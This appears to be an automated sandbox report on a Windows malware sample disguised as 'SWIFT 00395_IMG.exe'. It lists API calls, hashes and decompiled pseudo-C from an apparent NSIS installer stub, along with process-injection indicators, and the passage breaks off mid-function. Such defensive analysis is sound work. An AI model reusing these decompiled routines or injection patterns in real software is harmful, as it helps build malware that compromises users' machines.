                                                                                    0x004065ff
                                                                                    0x00406613
                                                                                    0x00406627
                                                                                    0x0040662e

                                                                                    APIs
                                                                                    • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 004065DA
                                                                                    • wsprintfA.USER32 ref: 00406613
                                                                                    • LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406627
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: DirectoryLibraryLoadSystemwsprintf
                                                                                    • String ID: %s%s.dll$UXTHEME$\
                                                                                    • API String ID: 2200240437-4240819195
                                                                                    • Opcode ID: dd037f00298a2975fe7e642a10d0852ddcb34bcb2038a79f7270f2bd0b83f80d
                                                                                    • Instruction ID: 9188928b716331f4199fdf2d451d87d069fed8801fbff73d7d84d2de41a49ecb
                                                                                    • Opcode Fuzzy Hash: dd037f00298a2975fe7e642a10d0852ddcb34bcb2038a79f7270f2bd0b83f80d
                                                                                    • Instruction Fuzzy Hash: D9F0F6706006097BEB249B68ED0DFEB365CAB08304F1404BEA186E10D1EA78D8358BA9
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 60%
                                                                                    			E0040209D(void* __ebx, void* __eflags) {
                                                                                    				struct HINSTANCE__* _t18;
                                                                                    				struct HINSTANCE__* _t26;
                                                                                    				void* _t27;
                                                                                    				struct HINSTANCE__* _t30;
                                                                                    				CHAR* _t32;
                                                                                    				intOrPtr* _t33;
                                                                                    				void* _t34;
                                                                                    
                                                                                    				_t27 = __ebx;
                                                                                    				asm("sbb eax, 0x424818");
                                                                                    				 *(_t34 - 4) = 1;
                                                                                    				if(__eflags < 0) {
                                                                                    					_push(0xffffffe7);
                                                                                    					L15:
                                                                                    					E00401423();
                                                                                    					L16:
                                                                                    					 *0x4247e8 =  *0x4247e8 +  *(_t34 - 4);
                                                                                    					return 0;
                                                                                    				}
                                                                                    				_t32 = E00402BCE(0xfffffff0);
                                                                                    				 *(_t34 + 8) = E00402BCE(1);
                                                                                    				if( *((intOrPtr*)(_t34 - 0x18)) == __ebx) {
                                                                                    					L3:
                                                                                    					_t18 = LoadLibraryExA(_t32, _t27, 8); // executed
                                                                                    					_t30 = _t18;
                                                                                    					if(_t30 == _t27) {
                                                                                    						_push(0xfffffff6);
                                                                                    						goto L15;
                                                                                    					}
                                                                                    					L4:
                                                                                    					_t33 = GetProcAddress(_t30,  *(_t34 + 8));
                                                                                    					if(_t33 == _t27) {
                                                                                    						E0040534F(0xfffffff7,  *(_t34 + 8));
                                                                                    					} else {
                                                                                    						 *(_t34 - 4) = _t27;
                                                                                    						if( *((intOrPtr*)(_t34 - 0x20)) == _t27) {
                                                                                    							 *_t33( *((intOrPtr*)(_t34 - 8)), 0x400, 0x425000, 0x40b860, "�GB"); // executed
                                                                                    						} else {
                                                                                    							E00401423( *((intOrPtr*)(_t34 - 0x20)));
                                                                                    							if( *_t33() != 0) {
                                                                                    								 *(_t34 - 4) = 1;
                                                                                    							}
                                                                                    						}
                                                                                    					}
                                                                                    					if( *((intOrPtr*)(_t34 - 0x1c)) == _t27 && E004039DB(_t30) != 0) {
                                                                                    						FreeLibrary(_t30);
                                                                                    					}
                                                                                    					goto L16;
                                                                                    				}
                                                                                    				_t26 = GetModuleHandleA(_t32); // executed
                                                                                    				_t30 = _t26;
                                                                                    				if(_t30 != __ebx) {
                                                                                    					goto L4;
                                                                                    				}
                                                                                    				goto L3;
                                                                                    			}










                                                                                    0x0040209d
                                                                                    0x0040209d
                                                                                    0x004020a2
                                                                                    0x004020a9
                                                                                    0x00402164
                                                                                    0x004022dd
                                                                                    0x004022dd
                                                                                    0x00402a5a
                                                                                    0x00402a5d
                                                                                    0x00402a69
                                                                                    0x00402a69
                                                                                    0x004020b8
                                                                                    0x004020c2
                                                                                    0x004020c5
                                                                                    0x004020d4
                                                                                    0x004020d8
                                                                                    0x004020de
                                                                                    0x004020e2
                                                                                    0x0040215d
                                                                                    0x00000000
                                                                                    0x0040215d
                                                                                    0x004020e4
                                                                                    0x004020ed
                                                                                    0x004020f1
                                                                                    0x00402135
                                                                                    0x004020f3
                                                                                    0x004020f6
                                                                                    0x004020f9
                                                                                    0x00402129
                                                                                    0x004020fb
                                                                                    0x004020fe
                                                                                    0x00402107
                                                                                    0x00402109
                                                                                    0x00402109
                                                                                    0x00402107
                                                                                    0x004020f9
                                                                                    0x0040213d
                                                                                    0x00402152
                                                                                    0x00402152
                                                                                    0x00000000
                                                                                    0x0040213d
                                                                                    0x004020c8
                                                                                    0x004020ce
                                                                                    0x004020d2
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00000000

                                                                                    APIs
                                                                                    • GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 004020C8
                                                                                      • Part of subcall function 0040534F: lstrlenA.KERNEL32(00420530,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EC9,00000000,?), ref: 00405388
                                                                                      • Part of subcall function 0040534F: lstrlenA.KERNEL32(00402EC9,00420530,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EC9,00000000), ref: 00405398
                                                                                      • Part of subcall function 0040534F: lstrcatA.KERNEL32(00420530,00402EC9,00402EC9,00420530,00000000,00000000,00000000), ref: 004053AB
                                                                                      • Part of subcall function 0040534F: SetWindowTextA.USER32(00420530,00420530), ref: 004053BD
                                                                                      • Part of subcall function 0040534F: SendMessageA.USER32 ref: 004053E3
                                                                                      • Part of subcall function 0040534F: SendMessageA.USER32 ref: 004053FD
                                                                                      • Part of subcall function 0040534F: SendMessageA.USER32 ref: 0040540B
                                                                                    • LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 004020D8
                                                                                    • GetProcAddress.KERNEL32(00000000,?), ref: 004020E8
                                                                                    • FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402152
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
                                                                                    • String ID: GB
                                                                                    • API String ID: 2987980305-3285937634
                                                                                    • Opcode ID: 621d8ec26b05587c79b2cea071fc8b0623d7a7a062788e3185bb13ecc113f1ec
                                                                                    • Instruction ID: 9b57ca00f45afa7d873c5e4c93812c2e033b3b55bd6b5381131ee912067d0413
                                                                                    • Opcode Fuzzy Hash: 621d8ec26b05587c79b2cea071fc8b0623d7a7a062788e3185bb13ecc113f1ec
                                                                                    • Instruction Fuzzy Hash: EA212E32600125EBCF207FA48F49B5F76B0AF50358F20423BF211B62D0CBBC49829A5D
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00405DF0(char _a4, intOrPtr _a6, CHAR* _a8) {
                                                                                    				char _t11;
                                                                                    				signed int _t12;
                                                                                    				int _t15;
                                                                                    				signed int _t17;
                                                                                    				void* _t20;
                                                                                    				CHAR* _t21;
                                                                                    
                                                                                    				_t21 = _a4;
                                                                                    				_t20 = 0x64;
                                                                                    				while(1) {
                                                                                    					_t11 =  *0x40a3ec; // 0x61736e
                                                                                    					_t20 = _t20 - 1;
                                                                                    					_a4 = _t11;
                                                                                    					_t12 = GetTickCount();
                                                                                    					_t17 = 0x1a;
                                                                                    					_a6 = _a6 + _t12 % _t17;
                                                                                    					_t15 = GetTempFileNameA(_a8,  &_a4, 0, _t21); // executed
                                                                                    					if(_t15 != 0) {
                                                                                    						break;
                                                                                    					}
                                                                                    					if(_t20 != 0) {
                                                                                    						continue;
                                                                                    					}
                                                                                    					 *_t21 =  *_t21 & 0x00000000;
                                                                                    					return _t15;
                                                                                    				}
                                                                                    				return _t21;
                                                                                    			}









                                                                                    0x00405df4
                                                                                    0x00405dfa
                                                                                    0x00405dfb
                                                                                    0x00405dfb
                                                                                    0x00405e00
                                                                                    0x00405e01
                                                                                    0x00405e04
                                                                                    0x00405e0e
                                                                                    0x00405e1b
                                                                                    0x00405e1e
                                                                                    0x00405e26
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405e2a
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00405e2c
                                                                                    0x00000000
                                                                                    0x00405e2c
                                                                                    0x00000000

                                                                                    APIs
                                                                                    • GetTickCount.KERNEL32 ref: 00405E04
                                                                                    • GetTempFileNameA.KERNELBASE(?,?,00000000,?,?,00000007,00000009,0000000B), ref: 00405E1E
                                                                                    Strings
                                                                                    • "C:\Users\user\Desktop\SWIFT 00395_IMG.exe" , xrefs: 00405DF0
                                                                                    • C:\Users\user\AppData\Local\Temp\, xrefs: 00405DF3
                                                                                    • nsa, xrefs: 00405DFB
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: CountFileNameTempTick
                                                                                    • String ID: "C:\Users\user\Desktop\SWIFT 00395_IMG.exe" $C:\Users\user\AppData\Local\Temp\$nsa
                                                                                    • API String ID: 1716503409-4186001128
                                                                                    • Opcode ID: 6f67c72f8a62f6904c1c8d13d4c39cdc389fdf02a571d79ef00f96109094c4c4
                                                                                    • Instruction ID: dc9f33b0ddeab6bc99614e691558c60e13527be9603daad3520fecf5624fafc7
                                                                                    • Opcode Fuzzy Hash: 6f67c72f8a62f6904c1c8d13d4c39cdc389fdf02a571d79ef00f96109094c4c4
                                                                                    • Instruction Fuzzy Hash: CAF0A7363042087BDB118F59EC45BDB7B9DDF91750F14C03BFA88DA280D6B0D9988798
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • CreateProcessW.KERNELBASE(?,00000000), ref: 022C04B0
                                                                                    • GetThreadContext.KERNELBASE(?,00010007), ref: 022C04D3
                                                                                    • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 022C04F7
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.665071219.00000000022C0000.00000040.00000001.sdmp, Offset: 022C0000, based on PE: false
                                                                                    Similarity
                                                                                    • API ID: Process$ContextCreateMemoryReadThread
                                                                                    • String ID:
                                                                                    • API String ID: 2411489757-0
                                                                                    • Opcode ID: 552e3b8611233719138fb839432aefa943f856c708915f73fdc0614b3ee7dd57
                                                                                    • Instruction ID: f9b647df9f3b63f35121e902094943caa413b1c1114ee18a76771e5ae7971a5c
                                                                                    • Opcode Fuzzy Hash: 552e3b8611233719138fb839432aefa943f856c708915f73fdc0614b3ee7dd57
                                                                                    • Instruction Fuzzy Hash: A0423B31D60258EEEB60CBE4DC55FFDB7B5AF08704F20469AE618EA2A0D7705A80DF45
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 87%
                                                                                    			E004015BB(char __ebx, void* __eflags) {
                                                                                    				void* _t13;
                                                                                    				int _t19;
                                                                                    				char _t21;
                                                                                    				void* _t22;
                                                                                    				char _t23;
                                                                                    				signed char _t24;
                                                                                    				char _t26;
                                                                                    				CHAR* _t28;
                                                                                    				char* _t32;
                                                                                    				void* _t33;
                                                                                    
                                                                                    				_t26 = __ebx;
                                                                                    				_t28 = E00402BCE(0xfffffff0);
                                                                                    				_t13 = E00405C59(_t28);
                                                                                    				_t30 = _t13;
                                                                                    				if(_t13 != __ebx) {
                                                                                    					do {
                                                                                    						_t32 = E00405BEB(_t30, 0x5c);
                                                                                    						_t21 =  *_t32;
                                                                                    						 *_t32 = _t26;
                                                                                    						 *((char*)(_t33 + 0xb)) = _t21;
                                                                                    						if(_t21 != _t26) {
                                                                                    							L5:
                                                                                    							_t22 = E00405892(_t28);
                                                                                    						} else {
                                                                                    							_t39 =  *((intOrPtr*)(_t33 - 0x20)) - _t26;
                                                                                    							if( *((intOrPtr*)(_t33 - 0x20)) == _t26 || E004058AF(_t39) == 0) {
                                                                                    								goto L5;
                                                                                    							} else {
                                                                                    								_t22 = E00405815(_t28); // executed
                                                                                    							}
                                                                                    						}
                                                                                    						if(_t22 != _t26) {
                                                                                    							if(_t22 != 0xb7) {
                                                                                    								L9:
                                                                                    								 *((intOrPtr*)(_t33 - 4)) =  *((intOrPtr*)(_t33 - 4)) + 1;
                                                                                    							} else {
                                                                                    								_t24 = GetFileAttributesA(_t28); // executed
                                                                                    								if((_t24 & 0x00000010) == 0) {
                                                                                    									goto L9;
                                                                                    								}
                                                                                    							}
                                                                                    						}
                                                                                    						_t23 =  *((intOrPtr*)(_t33 + 0xb));
                                                                                    						 *_t32 = _t23;
                                                                                    						_t30 = _t32 + 1;
                                                                                    					} while (_t23 != _t26);
                                                                                    				}
                                                                                    				if( *((intOrPtr*)(_t33 - 0x24)) == _t26) {
                                                                                    					_push(0xfffffff5);
                                                                                    					E00401423();
                                                                                    				} else {
                                                                                    					E00401423(0xffffffe6);
                                                                                    					E00406228("C:\\Users\\jones\\AppData\\Local\\Temp", _t28);
                                                                                    					_t19 = SetCurrentDirectoryA(_t28); // executed
                                                                                    					if(_t19 == 0) {
                                                                                    						 *((intOrPtr*)(_t33 - 4)) =  *((intOrPtr*)(_t33 - 4)) + 1;
                                                                                    					}
                                                                                    				}
                                                                                    				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t33 - 4));
                                                                                    				return 0;
                                                                                    			}













                                                                                    0x004015bb
                                                                                    0x004015c2
                                                                                    0x004015c5
                                                                                    0x004015ca
                                                                                    0x004015ce
                                                                                    0x004015d0
                                                                                    0x004015d8
                                                                                    0x004015da
                                                                                    0x004015dc
                                                                                    0x004015e0
                                                                                    0x004015e3
                                                                                    0x004015fb
                                                                                    0x004015fc
                                                                                    0x004015e5
                                                                                    0x004015e5
                                                                                    0x004015e8
                                                                                    0x00000000
                                                                                    0x004015f3
                                                                                    0x004015f4
                                                                                    0x004015f4
                                                                                    0x004015e8
                                                                                    0x00401603
                                                                                    0x0040160a
                                                                                    0x00401617
                                                                                    0x00401617
                                                                                    0x0040160c
                                                                                    0x0040160d
                                                                                    0x00401615
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00401615
                                                                                    0x0040160a
                                                                                    0x0040161a
                                                                                    0x0040161d
                                                                                    0x0040161f
                                                                                    0x00401620
                                                                                    0x004015d0
                                                                                    0x00401627
                                                                                    0x00401652
                                                                                    0x004022dd
                                                                                    0x00401629
                                                                                    0x0040162b
                                                                                    0x00401636
                                                                                    0x0040163c
                                                                                    0x00401644
                                                                                    0x0040164a
                                                                                    0x0040164a
                                                                                    0x00401644
                                                                                    0x00402a5d
                                                                                    0x00402a69

                                                                                    APIs
                                                                                      • Part of subcall function 00405C59: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,?,00405CC5,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,C:\Users\user\AppData\Local\Temp\nspD9BF.tmp,73BCFA90,?,73BCF560,00405A10,?,73BCFA90,73BCF560,00000000), ref: 00405C67
                                                                                      • Part of subcall function 00405C59: CharNextA.USER32(00000000), ref: 00405C6C
                                                                                      • Part of subcall function 00405C59: CharNextA.USER32(00000000), ref: 00405C80
                                                                                    • GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 0040160D
                                                                                      • Part of subcall function 00405815: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405858
                                                                                    • SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp,00000000,00000000,000000F0), ref: 0040163C
                                                                                    Strings
                                                                                    • C:\Users\user\AppData\Local\Temp, xrefs: 00401631
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: CharNext$Directory$AttributesCreateCurrentFile
                                                                                    • String ID: C:\Users\user\AppData\Local\Temp
                                                                                    • API String ID: 1892508949-47812868
                                                                                    • Opcode ID: 81892e281e0bc41ed8071f99871bb6b4c6bb310ff5ad2bafd743c978d2f7bd36
                                                                                    • Instruction ID: 7f8751d3726a152fc7b031c4469f223aff892055c158b12f401dbf96511dfde3
                                                                                    • Opcode Fuzzy Hash: 81892e281e0bc41ed8071f99871bb6b4c6bb310ff5ad2bafd743c978d2f7bd36
                                                                                    • Instruction Fuzzy Hash: EC112B31208151EBDB307FA54D409BF37B0DA92714B28467FE592B22D3D63D4943962E
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 99%
                                                                                    			E00406D5A() {
                                                                                    				signed int _t530;
                                                                                    				void _t537;
                                                                                    				signed int _t538;
                                                                                    				signed int _t539;
                                                                                    				unsigned short _t569;
                                                                                    				signed int _t579;
                                                                                    				signed int _t607;
                                                                                    				void* _t627;
                                                                                    				signed int _t628;
                                                                                    				signed int _t635;
                                                                                    				signed int* _t643;
                                                                                    				void* _t644;
                                                                                    
                                                                                    				L0:
                                                                                    				while(1) {
                                                                                    					L0:
                                                                                    					_t530 =  *(_t644 - 0x30);
                                                                                    					if(_t530 >= 4) {
                                                                                    					}
                                                                                    					 *(_t644 - 0x40) = 6;
                                                                                    					 *(_t644 - 0x7c) = 0x19;
                                                                                    					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
                                                                                    					while(1) {
                                                                                    						L145:
                                                                                    						 *(_t644 - 0x50) = 1;
                                                                                    						 *(_t644 - 0x48) =  *(_t644 - 0x40);
                                                                                    						while(1) {
                                                                                    							L149:
                                                                                    							if( *(_t644 - 0x48) <= 0) {
                                                                                    								goto L155;
                                                                                    							}
                                                                                    							L150:
                                                                                    							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
                                                                                    							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
                                                                                    							 *(_t644 - 0x54) = _t643;
                                                                                    							_t569 =  *_t643;
                                                                                    							_t635 = _t569 & 0x0000ffff;
                                                                                    							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
                                                                                    							if( *(_t644 - 0xc) >= _t607) {
                                                                                    								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
                                                                                    								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
                                                                                    								_t628 = _t627 + 1;
                                                                                    								 *_t643 = _t569 - (_t569 >> 5);
                                                                                    								 *(_t644 - 0x50) = _t628;
                                                                                    							} else {
                                                                                    								 *(_t644 - 0x10) = _t607;
                                                                                    								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
                                                                                    								 *_t643 = (0x800 - _t635 >> 5) + _t569;
                                                                                    							}
                                                                                    							if( *(_t644 - 0x10) >= 0x1000000) {
                                                                                    								L148:
                                                                                    								_t487 = _t644 - 0x48;
                                                                                    								 *_t487 =  *(_t644 - 0x48) - 1;
                                                                                    								L149:
                                                                                    								if( *(_t644 - 0x48) <= 0) {
                                                                                    									goto L155;
                                                                                    								}
                                                                                    								goto L150;
                                                                                    							} else {
                                                                                    								L154:
                                                                                    								L146:
                                                                                    								if( *(_t644 - 0x6c) == 0) {
                                                                                    									L169:
                                                                                    									 *(_t644 - 0x88) = 0x18;
                                                                                    									L170:
                                                                                    									_t579 = 0x22;
                                                                                    									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
                                                                                    									_t539 = 0;
                                                                                    									L172:
                                                                                    									return _t539;
                                                                                    								}
                                                                                    								L147:
                                                                                    								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
                                                                                    								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                                                                    								_t484 = _t644 - 0x70;
                                                                                    								 *_t484 =  &(( *(_t644 - 0x70))[1]);
                                                                                    								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
                                                                                    								goto L148;
                                                                                    							}
                                                                                    							L155:
                                                                                    							_t537 =  *(_t644 - 0x7c);
                                                                                    							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
                                                                                    							while(1) {
                                                                                    								L140:
                                                                                    								 *(_t644 - 0x88) = _t537;
                                                                                    								while(1) {
                                                                                    									L1:
                                                                                    									_t538 =  *(_t644 - 0x88);
                                                                                    									if(_t538 > 0x1c) {
                                                                                    										break;
                                                                                    									}
                                                                                    									L2:
                                                                                    									switch( *((intOrPtr*)(_t538 * 4 +  &M004071C8))) {
                                                                                    										case 0:
                                                                                    											L3:
                                                                                    											if( *(_t644 - 0x6c) == 0) {
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											L4:
                                                                                    											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                                                                    											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
                                                                                    											_t538 =  *( *(_t644 - 0x70));
                                                                                    											if(_t538 > 0xe1) {
                                                                                    												goto L171;
                                                                                    											}
                                                                                    											L5:
                                                                                    											_t542 = _t538 & 0x000000ff;
                                                                                    											_push(0x2d);
                                                                                    											asm("cdq");
                                                                                    											_pop(_t581);
                                                                                    											_push(9);
                                                                                    											_pop(_t582);
                                                                                    											_t638 = _t542 / _t581;
                                                                                    											_t544 = _t542 % _t581 & 0x000000ff;
                                                                                    											asm("cdq");
                                                                                    											_t633 = _t544 % _t582 & 0x000000ff;
                                                                                    											 *(_t644 - 0x3c) = _t633;
                                                                                    											 *(_t644 - 0x1c) = (1 << _t638) - 1;
                                                                                    											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
                                                                                    											_t641 = (0x300 << _t633 + _t638) + 0x736;
                                                                                    											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
                                                                                    												L10:
                                                                                    												if(_t641 == 0) {
                                                                                    													L12:
                                                                                    													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
                                                                                    													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
                                                                                    													goto L15;
                                                                                    												} else {
                                                                                    													goto L11;
                                                                                    												}
                                                                                    												do {
                                                                                    													L11:
                                                                                    													_t641 = _t641 - 1;
                                                                                    													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
                                                                                    												} while (_t641 != 0);
                                                                                    												goto L12;
                                                                                    											}
                                                                                    											L6:
                                                                                    											if( *(_t644 - 4) != 0) {
                                                                                    												GlobalFree( *(_t644 - 4));
                                                                                    											}
                                                                                    											_t538 = GlobalAlloc(0x40, 0x600); // executed
                                                                                    											 *(_t644 - 4) = _t538;
                                                                                    											if(_t538 == 0) {
                                                                                    												goto L171;
                                                                                    											} else {
                                                                                    												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
                                                                                    												goto L10;
                                                                                    											}
                                                                                    										case 1:
                                                                                    											L13:
                                                                                    											__eflags =  *(_t644 - 0x6c);
                                                                                    											if( *(_t644 - 0x6c) == 0) {
                                                                                    												L157:
                                                                                    												 *(_t644 - 0x88) = 1;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											L14:
                                                                                    											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                                                                    											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
                                                                                    											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
                                                                                    											_t45 = _t644 - 0x48;
                                                                                    											 *_t45 =  *(_t644 - 0x48) + 1;
                                                                                    											__eflags =  *_t45;
                                                                                    											L15:
                                                                                    											if( *(_t644 - 0x48) < 4) {
                                                                                    												goto L13;
                                                                                    											}
                                                                                    											L16:
                                                                                    											_t550 =  *(_t644 - 0x40);
                                                                                    											if(_t550 ==  *(_t644 - 0x74)) {
                                                                                    												L20:
                                                                                    												 *(_t644 - 0x48) = 5;
                                                                                    												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
                                                                                    												goto L23;
                                                                                    											}
                                                                                    											L17:
                                                                                    											 *(_t644 - 0x74) = _t550;
                                                                                    											if( *(_t644 - 8) != 0) {
                                                                                    												GlobalFree( *(_t644 - 8));
                                                                                    											}
                                                                                    											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
                                                                                    											 *(_t644 - 8) = _t538;
                                                                                    											if(_t538 == 0) {
                                                                                    												goto L171;
                                                                                    											} else {
                                                                                    												goto L20;
                                                                                    											}
                                                                                    										case 2:
                                                                                    											L24:
                                                                                    											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
                                                                                    											 *(_t644 - 0x84) = 6;
                                                                                    											 *(_t644 - 0x4c) = _t557;
                                                                                    											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
                                                                                    											goto L132;
                                                                                    										case 3:
                                                                                    											L21:
                                                                                    											__eflags =  *(_t644 - 0x6c);
                                                                                    											if( *(_t644 - 0x6c) == 0) {
                                                                                    												L158:
                                                                                    												 *(_t644 - 0x88) = 3;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											L22:
                                                                                    											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
                                                                                    											_t67 = _t644 - 0x70;
                                                                                    											 *_t67 =  &(( *(_t644 - 0x70))[1]);
                                                                                    											__eflags =  *_t67;
                                                                                    											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
                                                                                    											L23:
                                                                                    											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
                                                                                    											if( *(_t644 - 0x48) != 0) {
                                                                                    												goto L21;
                                                                                    											}
                                                                                    											goto L24;
                                                                                    										case 4:
                                                                                    											L133:
                                                                                    											_t559 =  *_t642;
                                                                                    											_t626 = _t559 & 0x0000ffff;
                                                                                    											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
                                                                                    											if( *(_t644 - 0xc) >= _t596) {
                                                                                    												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
                                                                                    												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
                                                                                    												 *(_t644 - 0x40) = 1;
                                                                                    												_t560 = _t559 - (_t559 >> 5);
                                                                                    												__eflags = _t560;
                                                                                    												 *_t642 = _t560;
                                                                                    											} else {
